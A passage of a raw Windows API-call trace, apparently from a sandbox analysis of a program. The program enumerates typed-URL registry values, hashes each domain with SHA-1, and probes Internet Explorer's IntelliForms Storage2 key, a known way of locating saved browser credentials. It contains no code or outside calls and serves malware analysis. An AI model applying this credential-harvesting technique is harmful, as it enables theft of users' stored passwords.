uBytes=0xae) returned 0x72912f0 [0096.565] lstrcpyW (in: lpString1=0x72912f0, lpString2="64F6156C2AA7D6B9A604" | out: lpString1="64F6156C2AA7D6B9A604") returned="64F6156C2AA7D6B9A604" [0096.565] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604", lpString2="D5" | out: lpString1="64F6156C2AA7D6B9A604D5") returned="64F6156C2AA7D6B9A604D5" [0096.565] LocalFree (hMem=0x7290b70) returned 0x0 [0096.565] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="53") returned 2 [0096.565] lstrlenW (lpString="64F6156C2AA7D6B9A604D5") returned 22 [0096.565] lstrlenW (lpString="53") returned 2 [0096.565] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.565] lstrcpyW (in: lpString1=0x7290b70, lpString2="64F6156C2AA7D6B9A604D5" | out: lpString1="64F6156C2AA7D6B9A604D5") returned="64F6156C2AA7D6B9A604D5" [0096.565] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D5", lpString2="53" | out: lpString1="64F6156C2AA7D6B9A604D553") returned="64F6156C2AA7D6B9A604D553" [0096.565] LocalFree (hMem=0x72912f0) returned 0x0 [0096.565] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CE") returned 2 [0096.565] lstrlenW (lpString="64F6156C2AA7D6B9A604D553") returned 24 [0096.565] lstrlenW (lpString="CE") returned 2 [0096.565] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.565] lstrcpyW (in: lpString1=0x72912f0, lpString2="64F6156C2AA7D6B9A604D553" | out: lpString1="64F6156C2AA7D6B9A604D553") returned="64F6156C2AA7D6B9A604D553" [0096.565] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553", lpString2="CE" | out: lpString1="64F6156C2AA7D6B9A604D553CE") returned="64F6156C2AA7D6B9A604D553CE" [0096.565] LocalFree (hMem=0x7290b70) returned 0x0 [0096.565] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4D") returned 2 [0096.565] lstrlenW (lpString="64F6156C2AA7D6B9A604D553CE") returned 26 [0096.565] lstrlenW (lpString="4D") returned 2 [0096.565] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.565] lstrcpyW (in: lpString1=0x2815a80, lpString2="64F6156C2AA7D6B9A604D553CE" | out: lpString1="64F6156C2AA7D6B9A604D553CE") returned="64F6156C2AA7D6B9A604D553CE" [0096.565] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553CE", lpString2="4D" | out: lpString1="64F6156C2AA7D6B9A604D553CE4D") returned="64F6156C2AA7D6B9A604D553CE4D" [0096.565] LocalFree (hMem=0x72912f0) returned 0x0 [0096.565] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FB") returned 2 [0096.565] lstrlenW (lpString="64F6156C2AA7D6B9A604D553CE4D") returned 28 [0096.565] lstrlenW (lpString="FB") returned 2 [0096.565] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.565] lstrcpyW (in: lpString1=0x2815670, lpString2="64F6156C2AA7D6B9A604D553CE4D" | out: lpString1="64F6156C2AA7D6B9A604D553CE4D") returned="64F6156C2AA7D6B9A604D553CE4D" [0096.565] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553CE4D", lpString2="FB" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFB") returned="64F6156C2AA7D6B9A604D553CE4DFB" [0096.565] LocalFree (hMem=0x2815a80) returned 0x0 [0096.566] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0096.566] lstrlenW (lpString="64F6156C2AA7D6B9A604D553CE4DFB") returned 30 [0096.566] lstrlenW (lpString="AA") returned 2 [0096.566] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.566] lstrcpyW (in: lpString1=0x2815a80, lpString2="64F6156C2AA7D6B9A604D553CE4DFB" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFB") returned="64F6156C2AA7D6B9A604D553CE4DFB" [0096.566] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553CE4DFB", lpString2="AA" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA") returned="64F6156C2AA7D6B9A604D553CE4DFBAA" [0096.566] LocalFree (hMem=0x2815670) returned 0x0 [0096.566] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="41") returned 2 [0096.566] lstrlenW (lpString="64F6156C2AA7D6B9A604D553CE4DFBAA") returned 32 [0096.566] lstrlenW (lpString="41") returned 2 [0096.566] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.566] lstrcpyW (in: lpString1=0x2815670, lpString2="64F6156C2AA7D6B9A604D553CE4DFBAA" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA") returned="64F6156C2AA7D6B9A604D553CE4DFBAA" [0096.566] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA", lpString2="41" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41" [0096.566] LocalFree (hMem=0x2815a80) returned 0x0 [0096.566] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0096.566] lstrlenW (lpString="64F6156C2AA7D6B9A604D553CE4DFBAA41") returned 34 [0096.566] lstrlenW (lpString="FD") returned 2 [0096.566] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.566] lstrcpyW (in: lpString1=0x28e7910, lpString2="64F6156C2AA7D6B9A604D553CE4DFBAA41" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41" [0096.566] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41", lpString2="FD" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41FD" [0096.566] LocalFree (hMem=0x2815670) returned 0x0 [0096.566] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="48") returned 2 [0096.566] lstrlenW (lpString="64F6156C2AA7D6B9A604D553CE4DFBAA41FD") returned 36 [0096.566] lstrlenW (lpString="48") returned 2 [0096.566] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.566] lstrcpyW (in: lpString1=0x28e7670, lpString2="64F6156C2AA7D6B9A604D553CE4DFBAA41FD" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41FD" [0096.566] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD", lpString2="48" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48" [0096.566] LocalFree (hMem=0x28e7910) returned 0x0 [0096.566] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0096.566] lstrlenW (lpString="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48") returned 38 [0096.566] lstrlenW (lpString="E5") returned 2 [0096.566] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.566] lstrcpyW (in: lpString1=0x28e7910, lpString2="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48" [0096.566] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48", lpString2="E5" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E5") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E5" [0096.566] LocalFree (hMem=0x28e7670) returned 0x0 [0096.566] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="38") returned 2 [0096.566] lstrlenW (lpString="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E5") returned 40 [0096.566] lstrlenW (lpString="38") returned 2 [0096.567] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.567] lstrcpyW (in: lpString1=0x28e7670, lpString2="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E5" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E5") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E5" [0096.567] lstrcatW (in: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E5", lpString2="38" | out: lpString1="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E538") returned="64F6156C2AA7D6B9A604D553CE4DFBAA41FD48E538" [0096.567] LocalFree (hMem=0x28e7910) returned 0x0 [0096.567] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.567] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.567] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.567] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.567] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.567] LocalFree (hMem=0x28e7670) returned 0x0 [0096.567] RegEnumValueW (in: hKey=0x368, dwIndex=0x2, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url48", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.567] StrStrIW (lpFirst="w3schools.com", lpSrch="?") returned 0x0 [0096.567] StrStrIW (lpFirst="w3schools.com", lpSrch="http://") returned 0x0 [0096.567] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.568] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.568] lstrlenW (lpString="w3schools.com") returned 13 [0096.568] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0096.568] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.568] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="92") returned 2 [0096.568] lstrlenW (lpString="") returned 0 [0096.568] lstrlenW (lpString="92") returned 2 [0096.568] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.568] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.568] lstrcatW (in: lpString1="", lpString2="92" | out: lpString1="92") returned="92" [0096.568] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EF") returned 2 [0096.568] lstrlenW (lpString="92") returned 2 [0096.568] lstrlenW (lpString="EF") returned 2 [0096.568] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8d00 [0096.568] lstrcpyW (in: lpString1=0x28c8d00, lpString2="92" | out: lpString1="92") returned="92" [0096.568] lstrcatW (in: lpString1="92", lpString2="EF" | out: lpString1="92EF") returned="92EF" [0096.568] LocalFree (hMem=0x7224580) returned 0x0 [0096.568] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AB") returned 2 [0096.568] lstrlenW (lpString="92EF") returned 4 [0096.568] lstrlenW (lpString="AB") returned 2 [0096.568] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.568] lstrcpyW (in: lpString1=0x28c81c0, lpString2="92EF" | out: lpString1="92EF") returned="92EF" [0096.568] lstrcatW (in: lpString1="92EF", lpString2="AB" | out: lpString1="92EFAB") returned="92EFAB" [0096.568] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.568] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="ED") returned 2 [0096.568] lstrlenW (lpString="92EFAB") returned 6 [0096.568] lstrlenW (lpString="ED") returned 2 [0096.568] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8d00 [0096.568] lstrcpyW (in: lpString1=0x28c8d00, lpString2="92EFAB" | out: lpString1="92EFAB") returned="92EFAB" [0096.568] lstrcatW (in: lpString1="92EFAB", lpString2="ED" | out: lpString1="92EFABED") returned="92EFABED" [0096.568] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.568] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="00") returned 2 [0096.568] lstrlenW (lpString="92EFABED") returned 8 [0096.568] lstrlenW (lpString="00") returned 2 [0096.568] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.568] lstrcpyW (in: lpString1=0x28c81c0, lpString2="92EFABED" | out: lpString1="92EFABED") returned="92EFABED" [0096.568] lstrcatW (in: lpString1="92EFABED", lpString2="00" | out: lpString1="92EFABED00") returned="92EFABED00" [0096.568] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.569] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0096.569] lstrlenW (lpString="92EFABED00") returned 10 [0096.569] lstrlenW (lpString="8F") returned 2 [0096.569] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.569] lstrcpyW (in: lpString1=0x71cfb40, lpString2="92EFABED00" | out: lpString1="92EFABED00") returned="92EFABED00" [0096.569] lstrcatW (in: lpString1="92EFABED00", lpString2="8F" | out: lpString1="92EFABED008F") returned="92EFABED008F" [0096.569] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.569] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0096.569] lstrlenW (lpString="92EFABED008F") returned 12 [0096.569] lstrlenW (lpString="B7") returned 2 [0096.569] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.569] lstrcpyW (in: lpString1=0x71cf460, lpString2="92EFABED008F" | out: lpString1="92EFABED008F") returned="92EFABED008F" [0096.569] lstrcatW (in: lpString1="92EFABED008F", lpString2="B7" | out: lpString1="92EFABED008FB7") returned="92EFABED008FB7" [0096.569] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.569] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="16") returned 2 [0096.569] lstrlenW (lpString="92EFABED008FB7") returned 14 [0096.569] lstrlenW (lpString="16") returned 2 [0096.569] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.569] lstrcpyW (in: lpString1=0x71cfb40, lpString2="92EFABED008FB7" | out: lpString1="92EFABED008FB7") returned="92EFABED008FB7" [0096.569] lstrcatW (in: lpString1="92EFABED008FB7", lpString2="16" | out: lpString1="92EFABED008FB716") returned="92EFABED008FB716" [0096.569] LocalFree (hMem=0x71cf460) returned 0x0 [0096.569] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AE") returned 2 [0096.569] lstrlenW (lpString="92EFABED008FB716") returned 16 [0096.569] lstrlenW (lpString="AE") returned 2 [0096.569] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.569] lstrcpyW (in: lpString1=0x71cf460, lpString2="92EFABED008FB716" | out: lpString1="92EFABED008FB716") returned="92EFABED008FB716" [0096.569] lstrcatW (in: lpString1="92EFABED008FB716", lpString2="AE" | out: lpString1="92EFABED008FB716AE") returned="92EFABED008FB716AE" [0096.569] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.569] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0096.569] lstrlenW (lpString="92EFABED008FB716AE") returned 18 [0096.569] lstrlenW (lpString="06") returned 2 [0096.569] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.569] lstrcpyW (in: lpString1=0x72912f0, lpString2="92EFABED008FB716AE" | out: lpString1="92EFABED008FB716AE") returned="92EFABED008FB716AE" [0096.569] lstrcatW (in: lpString1="92EFABED008FB716AE", lpString2="06" | out: lpString1="92EFABED008FB716AE06") returned="92EFABED008FB716AE06" [0096.569] LocalFree (hMem=0x71cf460) returned 0x0 [0096.569] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5F") returned 2 [0096.570] lstrlenW (lpString="92EFABED008FB716AE06") returned 20 [0096.570] lstrlenW (lpString="5F") returned 2 [0096.570] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.570] lstrcpyW (in: lpString1=0x7290b70, lpString2="92EFABED008FB716AE06" | out: lpString1="92EFABED008FB716AE06") returned="92EFABED008FB716AE06" [0096.570] lstrcatW (in: lpString1="92EFABED008FB716AE06", lpString2="5F" | out: lpString1="92EFABED008FB716AE065F") returned="92EFABED008FB716AE065F" [0096.570] LocalFree (hMem=0x72912f0) returned 0x0 [0096.570] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A3") returned 2 [0096.570] lstrlenW (lpString="92EFABED008FB716AE065F") returned 22 [0096.570] lstrlenW (lpString="A3") returned 2 [0096.570] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.570] lstrcpyW (in: lpString1=0x72912f0, lpString2="92EFABED008FB716AE065F" | out: lpString1="92EFABED008FB716AE065F") returned="92EFABED008FB716AE065F" [0096.570] lstrcatW (in: lpString1="92EFABED008FB716AE065F", lpString2="A3" | out: lpString1="92EFABED008FB716AE065FA3") returned="92EFABED008FB716AE065FA3" [0096.570] LocalFree (hMem=0x7290b70) returned 0x0 [0096.570] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="59") returned 2 [0096.570] lstrlenW (lpString="92EFABED008FB716AE065FA3") returned 24 [0096.570] lstrlenW (lpString="59") returned 2 [0096.570] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.570] lstrcpyW (in: lpString1=0x7290b70, lpString2="92EFABED008FB716AE065FA3" | out: lpString1="92EFABED008FB716AE065FA3") returned="92EFABED008FB716AE065FA3" [0096.570] lstrcatW (in: lpString1="92EFABED008FB716AE065FA3", lpString2="59" | out: lpString1="92EFABED008FB716AE065FA359") returned="92EFABED008FB716AE065FA359" [0096.570] LocalFree (hMem=0x72912f0) returned 0x0 [0096.570] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AF") returned 2 [0096.570] lstrlenW (lpString="92EFABED008FB716AE065FA359") returned 26 [0096.570] lstrlenW (lpString="AF") returned 2 [0096.570] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.570] lstrcpyW (in: lpString1=0x2815670, lpString2="92EFABED008FB716AE065FA359" | out: lpString1="92EFABED008FB716AE065FA359") returned="92EFABED008FB716AE065FA359" [0096.570] lstrcatW (in: lpString1="92EFABED008FB716AE065FA359", lpString2="AF" | out: lpString1="92EFABED008FB716AE065FA359AF") returned="92EFABED008FB716AE065FA359AF" [0096.570] LocalFree (hMem=0x7290b70) returned 0x0 [0096.570] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.570] lstrlenW (lpString="92EFABED008FB716AE065FA359AF") returned 28 [0096.570] lstrlenW (lpString="9D") returned 2 [0096.570] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.570] lstrcpyW (in: lpString1=0x2815a80, lpString2="92EFABED008FB716AE065FA359AF" | out: lpString1="92EFABED008FB716AE065FA359AF") returned="92EFABED008FB716AE065FA359AF" [0096.570] lstrcatW (in: lpString1="92EFABED008FB716AE065FA359AF", lpString2="9D" | out: lpString1="92EFABED008FB716AE065FA359AF9D") returned="92EFABED008FB716AE065FA359AF9D" [0096.570] LocalFree (hMem=0x2815670) returned 0x0 [0096.570] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D1") returned 2 [0096.570] lstrlenW (lpString="92EFABED008FB716AE065FA359AF9D") returned 30 [0096.570] lstrlenW (lpString="D1") returned 2 [0096.570] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.571] lstrcpyW (in: lpString1=0x2815670, lpString2="92EFABED008FB716AE065FA359AF9D" | out: lpString1="92EFABED008FB716AE065FA359AF9D") returned="92EFABED008FB716AE065FA359AF9D" [0096.571] lstrcatW (in: lpString1="92EFABED008FB716AE065FA359AF9D", lpString2="D1" | out: lpString1="92EFABED008FB716AE065FA359AF9DD1") returned="92EFABED008FB716AE065FA359AF9DD1" [0096.571] LocalFree (hMem=0x2815a80) returned 0x0 [0096.571] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0096.571] lstrlenW (lpString="92EFABED008FB716AE065FA359AF9DD1") returned 32 [0096.571] lstrlenW (lpString="75") returned 2 [0096.571] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.571] lstrcpyW (in: lpString1=0x2815a80, lpString2="92EFABED008FB716AE065FA359AF9DD1" | out: lpString1="92EFABED008FB716AE065FA359AF9DD1") returned="92EFABED008FB716AE065FA359AF9DD1" [0096.571] lstrcatW (in: lpString1="92EFABED008FB716AE065FA359AF9DD1", lpString2="75" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175") returned="92EFABED008FB716AE065FA359AF9DD175" [0096.571] LocalFree (hMem=0x2815670) returned 0x0 [0096.571] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C1") returned 2 [0096.571] lstrlenW (lpString="92EFABED008FB716AE065FA359AF9DD175") returned 34 [0096.571] lstrlenW (lpString="C1") returned 2 [0096.571] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.571] lstrcpyW (in: lpString1=0x28e7670, lpString2="92EFABED008FB716AE065FA359AF9DD175" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175") returned="92EFABED008FB716AE065FA359AF9DD175" [0096.571] lstrcatW (in: lpString1="92EFABED008FB716AE065FA359AF9DD175", lpString2="C1" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175C1") returned="92EFABED008FB716AE065FA359AF9DD175C1" [0096.571] LocalFree (hMem=0x2815a80) returned 0x0 [0096.571] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0096.571] lstrlenW (lpString="92EFABED008FB716AE065FA359AF9DD175C1") returned 36 [0096.571] lstrlenW (lpString="77") returned 2 [0096.571] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.571] lstrcpyW (in: lpString1=0x28e7910, lpString2="92EFABED008FB716AE065FA359AF9DD175C1" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175C1") returned="92EFABED008FB716AE065FA359AF9DD175C1" [0096.571] lstrcatW (in: lpString1="92EFABED008FB716AE065FA359AF9DD175C1", lpString2="77" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175C177") returned="92EFABED008FB716AE065FA359AF9DD175C177" [0096.571] LocalFree (hMem=0x28e7670) returned 0x0 [0096.571] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0096.571] lstrlenW (lpString="92EFABED008FB716AE065FA359AF9DD175C177") returned 38 [0096.571] lstrlenW (lpString="FE") returned 2 [0096.571] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.571] lstrcpyW (in: lpString1=0x28e7670, lpString2="92EFABED008FB716AE065FA359AF9DD175C177" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175C177") returned="92EFABED008FB716AE065FA359AF9DD175C177" [0096.571] lstrcatW (in: lpString1="92EFABED008FB716AE065FA359AF9DD175C177", lpString2="FE" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175C177FE") returned="92EFABED008FB716AE065FA359AF9DD175C177FE" [0096.571] LocalFree (hMem=0x28e7910) returned 0x0 [0096.571] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4C") returned 2 [0096.571] lstrlenW (lpString="92EFABED008FB716AE065FA359AF9DD175C177FE") returned 40 [0096.571] lstrlenW (lpString="4C") returned 2 [0096.571] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.571] lstrcpyW (in: lpString1=0x28e7910, lpString2="92EFABED008FB716AE065FA359AF9DD175C177FE" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175C177FE") returned="92EFABED008FB716AE065FA359AF9DD175C177FE" [0096.571] lstrcatW (in: lpString1="92EFABED008FB716AE065FA359AF9DD175C177FE", lpString2="4C" | out: lpString1="92EFABED008FB716AE065FA359AF9DD175C177FE4C") returned="92EFABED008FB716AE065FA359AF9DD175C177FE4C" [0096.571] LocalFree (hMem=0x28e7670) returned 0x0 [0096.571] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.572] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.572] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.572] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.572] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.572] LocalFree (hMem=0x28e7910) returned 0x0 [0096.572] RegEnumValueW (in: hKey=0x368, dwIndex=0x3, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url47", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.572] StrStrIW (lpFirst="atlassian.net", lpSrch="?") returned 0x0 [0096.572] StrStrIW (lpFirst="atlassian.net", lpSrch="http://") returned 0x0 [0096.572] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.572] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.572] lstrlenW (lpString="atlassian.net") returned 13 [0096.572] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x1c, dwFlags=0x0) returned 1 [0096.572] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, 